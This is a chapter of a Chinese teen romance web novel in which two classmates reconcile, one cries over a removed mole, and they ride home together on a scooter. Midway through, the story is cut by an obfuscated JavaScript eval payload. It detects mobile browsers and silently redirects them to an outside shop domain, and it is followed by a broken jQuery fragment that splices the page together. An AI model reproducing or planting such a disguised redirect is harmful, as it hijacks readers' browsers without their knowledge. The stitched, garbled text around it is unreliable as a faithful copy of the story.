突如其来的咒语让俞醒下意识拉起迟觉的手就走。
大概是因为长大了,俞醒不好意思在公共场合旁若无人地飞快奔跑,起初只是把步子放快。
可逐渐又变成了一场逃亡。湿漉漉的地面被路灯照得反光,两个影子游走其中,没留下一点痕迹。
脚步声在安静的街道上格外清晰,从急促到趋缓,只经过了一个路口。
他们身后也依旧没有任何东西追上来。
“还跑吗?”俞醒犹豫半天,指了指旁边的共享单车,“我骑车带你行吗?”
迟觉没有松手,也没有回答她,两个人像傻子一样站在路灯下面面相觑。
不知想到了什么,迟觉笑了出来:“不好。俞醒,我只是想被你牵着而已。”
这句话也触碰到俞醒那些没被她仔细品鉴的回忆了,她哼笑一声,拿不准现在到底该不该生气。
迟觉这个弱智什么都不说,每天编一堆哑谜让她猜猜猜猜,在她没猜出来的那一整个学期,俞醒都能想象到他私下里狰狞又辗转反侧不服气的样子。
那么多纠结的试探终于在此刻有了新的解释,俞醒抿了抿唇,突然什么都说不出来了。
反而是这个刚刚经历过一场决斗的迟觉先打破短暂的沉默。
他没有松开俞醒的手,握得更紧:“那你呢,你想我吗?”
俞醒:“……”
面前的傻叉突然摇身一变,变成了她小时候死缠烂打也要一起玩的人,俞醒多少还有些不适应。
原本想骂他的话,却因为这个平淡的问题被俞醒咽下去。
她只好顺着自己的心说:“想啊。”
“愧疚呢?”
“哈?”俞醒挠挠脸,“……是有点吧,早知道说什么也让老妈扛着你一起走。”
迟觉被逗笑了:“这不要紧。”
随后他又问:“心疼吗?”
“也有点吧,”俞醒像是吃了吐真剂一样,无论什么都认真回答,包括不久之前她觉得蠢得要命的无聊问题,“不过心烦更多一点,你想挨揍吗?”
自从发现俞醒是个心软的木头之后,迟觉就为自己制定了策略:要把俞醒的情绪搅得乱七八糟,让她生气,让她心烦,等到一个合适的时机,他再巧妙地跳出来说“看,我就是那个被你放在心尖上的人”,以此换取俞醒的愧疚和心疼。
然后,这些情绪会在青春期心绪萌动的时候变成“喜欢”。
这是迟觉想要的。
明明一开始他还在完美执行,却不知道为什么逐渐忘记了他的初心。
现在提起来,就像是故意在俞醒面前提及自己做的蠢事一样,让他觉得好笑,又控制不住地轻松许多。
迟觉抿嘴笑了笑,漂亮的桃花眼盯着俞醒不愿挪开:“……这么看来我好像是个笨蛋。”
“笨蛋这两个字无论是用来形容自己还是形容别人,都充斥着一股调情撒娇的意味。”俞醒认真地和他解释,“你别把自己想得这么可爱,你是蠢猪,笨驴,蠢蛋,脑残,弱智,白痴。”
迟觉:“…………”
迟觉:“……你别骂爽了呀。”
俞醒:“不然你还要我怎么办?夸你很厉害?玩狼人杀抽到狼牌一定能活到最后?你这么会瞒身份应该去帮助余则成,而不是来上学。”
迟觉:“……”
迟觉乖乖低头:“对不起。”
“哼。”俞醒说。
于是迟觉没再去问那个有关于愧疚心疼之后的问题。反正俞醒的想法他早已心知肚明。
只是他还缺一个保证——
“俞醒。”
俞醒安静地等待。
“无论我们是否从前认识,我都喜欢你。”
——一个把自己的心意完全交给俞醒的保证。
俞醒:“……”
俞醒:“你就非要在这种时候说这个。”
迟觉丝毫没察觉到任何不对劲的地方:“这很重要。”
迟觉也不是第一次表白了,俞醒或许是习惯了,此时居然没有很大的反应。
她感觉自己有抗体了,或者也是因为,知道迟觉到底是谁之后,就不需要乱七八糟地猜他这种突兀的感情从何而来了。
“哦,行。”俞醒应了一声后就偏过头说不出话来了。
尴尬了一会儿,她才把目光重新聚焦在迟觉的脸上。
在俞醒眼中,路灯下的迟觉像是被铺了一层滤镜,像是一张像素不高的照片。他的神色,他唇角的弧度,都变得不太清晰了。
唯一清晰的,是他面颊的一颗痣。
只有一颗。
“你的痣呢?”
“点了,”迟觉不假思索,甚至还辟谣了从前的胡言乱语,“这个真没骗你,点了。不是在很小的时候点的,是来桐城之后,在一中门口怎么也见不到你,一生气就去把它点了。”
俞醒被逗笑了:“出于什么目的呢?”
“不知道,”迟觉回忆了一下,也觉得很蠢,和俞醒一起笑出来了,“可能是觉得点掉一颗之后你会很难认出来我,想给你带去一点追夫火葬场的刺激感吧。”
俞醒笑了两下就笑不出来了,她此刻清晰地意识到,迟觉这招是真的很有用,也很坏。
更加剧烈的心疼密密麻麻全涌上来了,像是个刚被发现的巨大伤口,在亲眼见到它流血之前,很难感受到伤口有多疼。
关于迟觉这么多年来的生活的想象,在俞醒的脑袋里闪过一遍又一遍。
版本很多,但无论哪种,都包含面对变态家长的痛苦、独自一人生活的孤单和没有任何宣泄口的想念。
看着俞醒的神色变了,迟觉也不再扯起嘴角:“怎么了?”
“……没什么。”俞醒问,“谢谢你,还留了一颗给我做提示。”
“没有。是因为那两颗痣连在一起看起来很可怜,但保留一颗就会显得很……酷。”
俞醒:“……”
俞醒无语地叹了口气:“很难令人信服的理由。”
“那你觉得什么理由才能让你相信?”
“就是刚刚我说的那种。”
迟觉低头,让人看不清他的神色:“知道答案了还要来问吗,你以为这是写试卷?”
连在一起像是泪痕的两颗痣,是他避之不及的血窟窿。他捂着其中一个想尽可能地藏好,却又自暴自弃地将另一个留下,或许能换来安慰。
此刻,在中途断掉的泪滴终于有了源头,眼下早已了无痕迹的痣似乎逐渐清晰起来。
俞醒恍恍惚惚,将其两点一线地连上。泪有了痕迹。
她伸手摩挲着被毁掉的河床,却被汹涌而出的河水淹没。
他在哭。
原来不是错觉。
手指不知何时按在了迟觉的眼下,那个曾经有着一颗泪痣的地方。
又不知道这个动作触及了迟觉的哪根神经,指腹被眼泪打湿,吓了俞醒一跳。
“哭什么,别哭了。”俞醒的手指已经没办法抵御洪水了,没办法,只能请出她的校服袖子,“好嘛,我不躲着你了,以后也不会一声不吭就走掉……就算你哪天变成狗了,我也一定在第一时间认出你来!”
迟觉抓着俞醒的手,脸贴在她的掌心,把眼泪全部蹭到她的袖子上,这才抬起眼睛看她:“存疑。你这次就没认出来,变成狗了你就更认不出来了。”
想为自己开脱的俞醒,在一瞬间编好了各种理由,但发现哪一条都不适用。
最后她牵强地说:“都怪你之前死活不说大名!”
迟觉:“那不是因为你文盲吗。”
俞醒:“……”
俞醒乖乖认命:“对不起。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701952|204063||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
迟觉:“哼。”
“那你还回家不?我妈刚刚都打电话催我了。”俞醒压根没准备等迟觉回答再做决定,早就注意到旁边的共享小电驴了,“……幸好带了手机啊,不然我们还得走回去,你真缺德,迟觉。”
“……你怎么找到这里的?”
“跟踪啊。”
“你知道我说的不是这次。”
俞醒:“…………”
不装了的迟觉好难缠啊,怎么连语气都跟以前一样欠扁。
俞醒实话实说:“班级群里有个人信息表。你太不谨慎了,小爱。”
迟觉:“……”
说话间,俞醒扫了个小电驴霸气上车,催促道:“快点,急着回家。”
虽然没明说,但迟觉猜这是她邀请自己上车的意思。
不过迟觉没动,站在原地和俞醒对视。
俞醒:“……”
俞醒:“…………你到底要干嘛?”
迟觉没什么表情:“你得求我上车。”
俞醒:“?”
俞醒实在没搞懂迟觉又跳到哪个频道去了,她露出一言难尽的表情和迟觉面对面互相盯了很久,才犹豫地开口:“你有病吧爱上不上,还求你,你再不上车我就立马把你撞飞到六楼让你自由落体下来满足你跳楼的愿望。”
这下迟觉终于满意了,乖巧地和俞醒挤在窄小的座位上。
俞醒:“?”
迟觉期待地问:“那我能抱紧你吗?”
俞醒懒得理他,直接转动车把走了。
迟觉因为惯性往后一仰,立刻上道地环住俞醒的腰,又黏黏糊糊地把下巴靠在俞醒的肩上:“好霸道。”
俞醒被恶心地恨不得立刻撞树和他同归于尽:“我真无语了你能不能正常一点啊我要吐了。滚,谁让你靠过来的,把你死下巴拿开。”
“我饿了,”迟觉也毫不理睬俞醒怒气冲冲的话,只是很小声地说出事实,“我没吃晚饭。”
是很可怜,但还是有卖惨的嫌疑。
可俞醒从小到大都吃这套,更何况面对的还是迟觉,也说不出拒绝的话,但还是不想让他顺心:“哦,我包里有吃剩的半个面包,很新鲜,刚买不久,你饿了就拿出来啃两口吧。”
迟觉:“……”
“前面有便利店,等会儿就到了,你忍一下吧。”最终俞醒还是没忍心,“让你乱跑,让你不跟我顺路,现在知道饿了,你这跟低能有什么区别。”
迟觉被骂得耳根泛红,“哦”了一声就像鹌鹑一样把脸埋在俞醒的颈边,吓得俞醒差点把不住车头。
辱骂还没说出口,俞醒就听到迟觉带着餍足和愉悦,低声地说:“你真讨厌,俞醒。”
可能是因为刚刚哭过,嗓子有点哑,或者是因为她骑车骑得太快,耳边的风很大,让迟觉这句话显得飘渺缱绻。
俞醒有点被取悦到了,憋了好久,还是没忍住扯起嘴角:“还有别的话吗?”
“有,”迟觉说,“但刚刚都已经说完了。”
“哦哦,那你快点把小嘴巴闭起来吧,再听到你说话我就扁你。”
一路颠沛流离终于回到家,俞醒亲眼看着迟觉开门开灯,提醒道:“明早要准时出现在家门口,知道吗?”
“知道了。”
“重复一遍。”
迟觉听话地重复:“明早和你一起上学,从这里顺路到学校门口,晚上再一起回来。”
果然是好学生,举一反三。俞醒满意地回了家,满意地洗漱睡觉,睡前还满意地欣赏一遍她和迟觉的聊天记录。
第二天,俞醒准时出门,和迟觉打了个照面。
经过一晚上好眠的迟觉再次恢复了他光鲜亮丽的男神形态,靠在门边酷酷地摆造型:“早啊,俞醒。”
俞醒无奈又觉得好笑,叹了口气:“……早,迟觉。”